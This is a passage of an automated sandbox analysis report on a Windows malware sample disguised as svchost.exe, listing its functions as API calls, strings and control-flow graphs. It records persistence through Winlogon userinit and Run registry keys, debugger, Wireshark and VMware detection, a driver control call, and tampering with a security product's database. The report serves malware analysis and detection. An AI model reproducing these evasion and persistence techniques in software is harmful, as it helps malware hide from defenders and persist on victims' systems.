                                                                                                                                                                                                            • String ID: %02X$%53%59%53%54%45%4D%21%32%31%36%30%34%31%21%33%38%34%32%35%41%41%43$%s!%s!%08X$InstallDate$SYSTEM$SYSTEM!216041!38425AAC$Software\Microsoft\Windows NT\CurrentVersion$SystemDrive$\t
                                                                                                                                                                                                            • API String ID: 3299431409-763849823
                                                                                                                                                                                                            • Opcode ID: b2e47bcdf0a7cd1ed0ed97d8ff13f70e6c87b903be8bd5057aa567972ecd74fa
                                                                                                                                                                                                            • Instruction ID: c0ee70dfd6423ebce0e1944a7c1ca5d46dde6a49f38a76449194f5f730c81e89
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b2e47bcdf0a7cd1ed0ed97d8ff13f70e6c87b903be8bd5057aa567972ecd74fa
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6D51C575E00215ABEB109FA9ACC9FAF7BE8EB95700F444595FA45D7380DA709D04CBA0
                                                                                                                                                                                                            Function 004021B0 Relevance: 36.8, APIs: 3, Strings: 18, Instructions: 81fileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 650 4021b0-4022fe CreateFileA 651 402330-402335 650->651 652 402300-40232a DeviceIoControl CloseHandle 650->652 652->651
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(\\.\KmxAgent,00000000,00000000,00000000,00000003,00000080,00000000), ref: 004022F3
                                                                                                                                                                                                            • DeviceIoControl.KERNEL32(00000000,86000054,000000B4,000000B4,?,00000004,?,00000000), ref: 00402323
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040232A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseControlCreateDeviceFileHandle
                                                                                                                                                                                                            • String ID: "$"$0$4$D$E$E$S$T$\\.\KmxAgent$d$e$g$m$m$s$t$t
                                                                                                                                                                                                            • API String ID: 33631002-3172865025
                                                                                                                                                                                                            • Opcode ID: 5d3052d786f23041ab38784f47b9df179f9997e430cc2c34ba2090ab9676636a
                                                                                                                                                                                                            • Instruction ID: 9d4a94b5be36249e2462cbbb3280e2e36e0391c5559e4b339ada8e43b165569f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5d3052d786f23041ab38784f47b9df179f9997e430cc2c34ba2090ab9676636a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D04194B0D01358DEEB20CF95D9887DEFEB5BB04309F5081ADD5186B241C7B90A89CF55
                                                                                                                                                                                                            Function 02D07220 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 142memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 653 2d07220-2d0722f 654 2d07235-2d07251 CreateFileA 653->654 655 2d07366-2d0736b 653->655 654->655 656 2d07257-2d0726f GetFileSizeEx 654->656 657 2d07387 655->657 658 2d0736d-2d0737a IsBadWritePtr 655->658 659 2d07275-2d07278 656->659 660 2d0733f-2d07348 656->660 661 2d07389-2d0738f 657->661 658->661 662 2d0737c-2d07384 658->662 664 2d0727a 659->664 665 2d0727b-2d0727f 659->665 660->655 663 2d0734a-2d07357 GetHandleInformation 660->663 663->655 666 2d07359-2d0735d 663->666 664->665 667 2d07281-2d0729e GetProcessHeap RtlAllocateHeap 665->667 668 2d072af-2d072b4 665->668 666->655 669 2d0735f-2d07360 FindCloseChangeNotification 666->669 667->668 670 2d072a0-2d072ac memset 667->670 671 2d072ba-2d072be 668->671 672 2d0733c 668->672 669->655 670->668 673 2d072c0 671->673 674 2d072c1-2d072ca 671->674 672->660 673->674 675 2d07311-2d07323 GetProcessHeap HeapValidate 674->675 676 2d072cc-2d0730f SetFilePointer LockFile ReadFile UnlockFile 674->676 677 2d07335 675->677 678 2d07325-2d0732f GetProcessHeap HeapFree 675->678 676->672 676->675 677->672 678->677
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,a3b7fb16a,76EDC3F0,?,?,02D122F0,00000000,00000001), ref: 02D07246
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D07264
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D0728D
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D07294
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D072A7
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D072D3
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D072E3
                                                                                                                                                                                                            • ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 02D072F2
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D07305
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D07314
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D0731B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D07328
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D0732F
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D0734F
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNEL32(00000000), ref: 02D07360
                                                                                                                                                                                                            • IsBadWritePtr.KERNEL32(00000000,00000004,?,a3b7fb16a,76EDC3F0,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D07370
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHeap$Process$AllocateChangeCloseCreateFindFreeHandleInformationLockNotificationPointerReadSizeUnlockValidateWritememset
                                                                                                                                                                                                            • String ID: a3b7fb16a
                                                                                                                                                                                                            • API String ID: 213124939-2992131447
                                                                                                                                                                                                            • Opcode ID: 4f0ba3a5715910a32c4a67fc04400677453351b629eff992dbdd3cb7904d06c4
                                                                                                                                                                                                            • Instruction ID: 6c3e48636d3af96a2907b8de50ed08e059f0df7fc476d073e4d9438ca12ecd6e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4f0ba3a5715910a32c4a67fc04400677453351b629eff992dbdd3cb7904d06c4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E641A775A80304BBFB209FA59C89F9BBBACFB54714F508515BE15AA3C0D774AD10CBA0
                                                                                                                                                                                                            Function 00401130 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 132registryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401152
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401171
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 0040118A
                                                                                                                                                                                                            • RegCreateKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000000,00000000,00000102,00000000,?,00000000,?,?,?,?,?,00000000), ref: 004011B0
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104,?,?,?,?,?,00000000), ref: 004011CF
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?,?,?,?,?,?,00000000), ref: 004011DC
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000), ref: 004011F3
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 0040120E
                                                                                                                                                                                                            • RegSetValueExA.KERNELBASE(?,?,00000000,00000001,?,00000104,755CDB30), ref: 00401275
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000102,?,?,?,?,?,?,00000000), ref: 00401294
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(?,userinit,00000000,00000001,?,00000104,?,?,?,?,?,00000000), ref: 004012B0
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?,?,?,?,?,?,00000000), ref: 004012BE
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000000), ref: 004012C8
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • SystemDrive, xrefs: 004011CA
                                                                                                                                                                                                            • userinit, xrefs: 004012AA
                                                                                                                                                                                                            • software\microsoft\windows\currentversion\run, xrefs: 0040128A
                                                                                                                                                                                                            • software\microsoft\windows nt\currentversion\winlogon, xrefs: 004011A6
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Valuememset$AdminBackslashCloseCreateEnvironmentFlushInformationOpenPathUserVariableVolume_snprintf
                                                                                                                                                                                                            • String ID: SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                            • API String ID: 1223198359-2324515132
                                                                                                                                                                                                            • Opcode ID: 8f54ca177bf132b48ff55439b3f2ba1deef55dafc0629b9cb850c6a94148175c
                                                                                                                                                                                                            • Instruction ID: 4a3cd719fa0b6a36e3fea1ee33c0aaef39b8e779ef0c2e0c240036d9f7b98d71
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8f54ca177bf132b48ff55439b3f2ba1deef55dafc0629b9cb850c6a94148175c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5341BEB164020CBFEB10DBA49DC9EEA777CEB94704F0041B9F345B6191E6B45F888BA4
                                                                                                                                                                                                            Function 02D03440 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 128registryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0347B
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 02D0349A
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02D034A7
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 02D034C4
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D034DF
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000101,00000000), ref: 02D03503
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(00000000,?,00000000,00000001,C:\Windows\apppatch\svchost.exe,00000104), ref: 02D0351F
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(C:\Windows\apppatch\svchost.exe,C:\Windows\apppatch\svchost.exe,C:\Windows\apppatch\svchost.exe), ref: 02D035AD
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000101,00000000), ref: 02D035CC
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(00000000,userinit,00000000,00000001,C:\Windows\apppatch\svchost.exe,00000104), ref: 02D035E6
                                                                                                                                                                                                            • RegCloseKey.KERNEL32(00000000), ref: 02D035F5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: OpenPathQueryValue$BackslashCloseEnvironmentExistsFileInformationVariableVolume_snprintfmemset
                                                                                                                                                                                                            • String ID: C:\Windows\apppatch\svchost.exe$SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit$\t
                                                                                                                                                                                                            • API String ID: 3269704094-1925358783
                                                                                                                                                                                                            • Opcode ID: e8a9f394e07426c354b9308a6beacdc6920fba59a41ae40ddcddb91c1af0070c
                                                                                                                                                                                                            • Instruction ID: e4239cce911921d33de51569bfdad71ca8285b63879fcc65086eb13dd9483b2d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e8a9f394e07426c354b9308a6beacdc6920fba59a41ae40ddcddb91c1af0070c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7641BB75A8020DFBFB14CB54EC8AFED7779EB54704F504598F505A6290EAF06E488BA0
                                                                                                                                                                                                            Function 02D06110 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 204stringCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 712 2d06110-2d061d9 memset * 3 713 2d061e0-2d061ea 712->713 713->713 714 2d061ec-2d06203 713->714 715 2d06210-2d06238 strtol 714->715 715->715 716 2d0623a-2d06244 715->716 717 2d06250-2d0625e 716->717 717->717 718 2d06260 717->718 719 2d06262-2d06271 718->719 720 2d06273 719->720 721 2d06275-2d0627c 719->721 720->721 721->719 722 2d0627e-2d062b3 call 2d17c10 strstr 721->722 725 2d062b5-2d062bd 722->725 726 2d062be-2d062cf strstr 722->726 726->725 727 2d062d1-2d062e3 strtol 726->727 727->725 728 2d062e5-2d062ec 727->728 729 2d062ee-2d062fe 728->729 730 2d0634f-2d06367 GetProcessHeap RtlAllocateHeap 728->730 731 2d06303-2d06317 729->731 732 2d063a5-2d063ad 730->732 733 2d06369-2d063a2 memset * 2 _snprintf 730->733 734 2d06319-2d0631d 731->734 735 2d0631e 731->735 733->732 734->735 736 2d06320-2d06331 735->736 737 2d06333-2d06340 735->737 738 2d06344-2d0634d 736->738 737->738 738->730 739 2d06300 738->739 739->731
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$strstrstrtol
                                                                                                                                                                                                            • String ID: %s%s$1676d5775e05c50b46baa5579d4fc7$eyuioa$qwrtpsdfghjklzxcvbnm
                                                                                                                                                                                                            • API String ID: 600650289-3097137778
                                                                                                                                                                                                            • Opcode ID: 54a2b740ddda8f7ea6ca9cc8991c5de42cf9dbc31070125c302b57aa06432c61
                                                                                                                                                                                                            • Instruction ID: 4cd69083ebdd04bc9d4128246b5a5dc90633a5c28da0db2dc98888df1e13e69a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 54a2b740ddda8f7ea6ca9cc8991c5de42cf9dbc31070125c302b57aa06432c61
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C5712430E442555BEB11CF78AC80BDEBBE9EF69300F4445A8D988A73C1D7709E54CBA1
                                                                                                                                                                                                            Function 00401000 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 104processCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 740 401000-40101c IsDebuggerPresent 741 401022-401032 FindWindowA 740->741 742 40111b-401123 740->742 741->742 743 401038-401061 memset CreateToolhelp32Snapshot 741->743 744 401063-40107d Process32First 743->744 745 4010d5-4010e1 call 401aa0 743->745 747 401083-401091 StrStrIA 744->747 751 4010e3-4010ef call 401aa0 745->751 752 401124-40112f 745->752 749 401115-401119 747->749 750 401097-4010a1 Process32Next 747->750 754 4010a7-4010b1 749->754 750->747 753 4010a3 750->753 751->752 760 4010f1-4010fd call 401aa0 751->760 753->754 756 4010d1-4010d3 754->756 757 4010b3-4010c1 GetHandleInformation 754->757 756->745 756->752 757->756 759 4010c3-4010c8 757->759 759->756 761 4010ca-4010cb FindCloseChangeNotification 759->761 760->752 764 4010ff-40110c PathFileExistsA 760->764 761->756 764->752 765 40110e-401114 764->765
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsDebuggerPresent.KERNEL32 ref: 00401014
                                                                                                                                                                                                            • FindWindowA.USER32(OLLYDBG,00000000), ref: 0040102A
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040104B
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00401056
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 00401071
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,wireshark.exe), ref: 0040108D
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,?), ref: 0040109D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 004010B9
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNEL32(00000000), ref: 004010CB
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(\\?\globalroot\systemroot\system32\vmx_fb.dll,vmwaretray.exe,idag.exe,dumpcap.exe), ref: 00401104
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FindProcess32$ChangeCloseCreateDebuggerExistsFileFirstHandleInformationNextNotificationPathPresentSnapshotToolhelp32Windowmemset
                                                                                                                                                                                                            • String ID: OLLYDBG$\\?\globalroot\systemroot\system32\vmx_fb.dll$dumpcap.exe$idag.exe$vmwaretray.exe$wireshark.exe
                                                                                                                                                                                                            • API String ID: 1862551656-1290435522
                                                                                                                                                                                                            • Opcode ID: 561d3b303acbb630b127acd8213a7a6d32d8b3e20dd43d251141123fbd81c6f9
                                                                                                                                                                                                            • Instruction ID: c60aa232edd69d9eafc6284c2fbf788a46e5342051cb1b5dbcb922c87a134ace
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 561d3b303acbb630b127acd8213a7a6d32d8b3e20dd43d251141123fbd81c6f9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AB31E9B160430057D310AB66AC49B6BB7ECDBD8764F01013BFF44F62E1E77C888586AA
                                                                                                                                                                                                            Function 02D01720 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 104processCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsDebuggerPresent.KERNEL32(02D06C17,00000000,?), ref: 02D01734
                                                                                                                                                                                                            • FindWindowA.USER32(OLLYDBG,00000000), ref: 02D0174A
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0176B
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02D01776
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 02D01791
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,wireshark.exe), ref: 02D017AD
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,?), ref: 02D017BD
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D017D9
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D017EB
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(\\?\globalroot\systemroot\system32\vmx_fb.dll,vmwaretray.exe,idag.exe,dumpcap.exe), ref: 02D01824
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleProcess32$CloseCreateDebuggerExistsFileFindFirstInformationNextPathPresentSnapshotToolhelp32Windowmemset
                                                                                                                                                                                                            • String ID: OLLYDBG$\\?\globalroot\systemroot\system32\vmx_fb.dll$dumpcap.exe$idag.exe$vmwaretray.exe$wireshark.exe
                                                                                                                                                                                                            • API String ID: 2741144142-1290435522
                                                                                                                                                                                                            • Opcode ID: 68984dd164e44cbaf1338f76b01f62184b93bbc08e70dcdec38dbfdb713e65f2
                                                                                                                                                                                                            • Instruction ID: fefa7822f7895229be8d80c6ce96a36b069f8a4d25641e91e3490e85a3124899
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 68984dd164e44cbaf1338f76b01f62184b93bbc08e70dcdec38dbfdb713e65f2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6A3109766003516BE2109F65BC88BABB7D8DFD5758F440529FD49C2390FB70DD18CAA2
                                                                                                                                                                                                            Function 00402520 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000023,00000000,00000000,?), ref: 0040253C
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000,00000000), ref: 004025A0
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017A8,00000000,00000000), ref: 004025C3
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004025D8
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000B98,00000000,00000000), ref: 004025E4
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004025F3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017E4,00000000,00000000), ref: 004025FF
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 0040260E
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017DC,00000000,00000000), ref: 0040261A
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402629
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00003380,00000000,00000000), ref: 00402635
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402644
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00402647
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$PointerWrite$CloseCreateFolderHandlePath
                                                                                                                                                                                                            • String ID: \PrevxCSI\csidb.csi
                                                                                                                                                                                                            • API String ID: 606440919-2829233815
                                                                                                                                                                                                            • Opcode ID: be0fb7a0fec5371cefce781ec144b0ab90dff0a006d7a44f6523beb7c466cbb6
                                                                                                                                                                                                            • Instruction ID: 03c6ffd3b6dc1066bd99cfbbbb98c4e24752acf73b2e09b6b1ad6d20697dc7f7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: be0fb7a0fec5371cefce781ec144b0ab90dff0a006d7a44f6523beb7c466cbb6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FB312A716842187EF311EB90DD9AFEA7768EB89B00F104155F304AA1D0DBF1AA45CBE9
                                                                                                                                                                                                            Function 00401FB0 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401FD6
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401FE7
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 00401FF0
                                                                                                                                                                                                            • SwitchToThread.KERNEL32 ref: 00401FFF
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00402008
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00402028
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNEL32(00000000), ref: 00402039
                                                                                                                                                                                                            • Module32First.KERNEL32(00000000,?), ref: 0040205A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,kernel), ref: 0040207C
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,.dll), ref: 00402088
                                                                                                                                                                                                            • Module32Next.KERNEL32(00000000,00000224), ref: 00402096
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateModule32SnapshotToolhelp32$ChangeCloseErrorFindFirstHandleInformationLastNextNotificationSwitchThreadmemset
                                                                                                                                                                                                            • String ID: .dll$kernel
                                                                                                                                                                                                            • API String ID: 1233480013-2375045364
                                                                                                                                                                                                            • Opcode ID: 879494545999ec302966fa281da3315520f63b38012031968e87e0d656fbeae2
                                                                                                                                                                                                            • Instruction ID: 8973f4922baf9af671f2a19144e2d86d5cf9878df638c7e503d434612b68899c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 879494545999ec302966fa281da3315520f63b38012031968e87e0d656fbeae2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F721EB7190131477D7109BA5AE4DB9F77A8ABC8310F100276EB04F32D1DB789E41C669
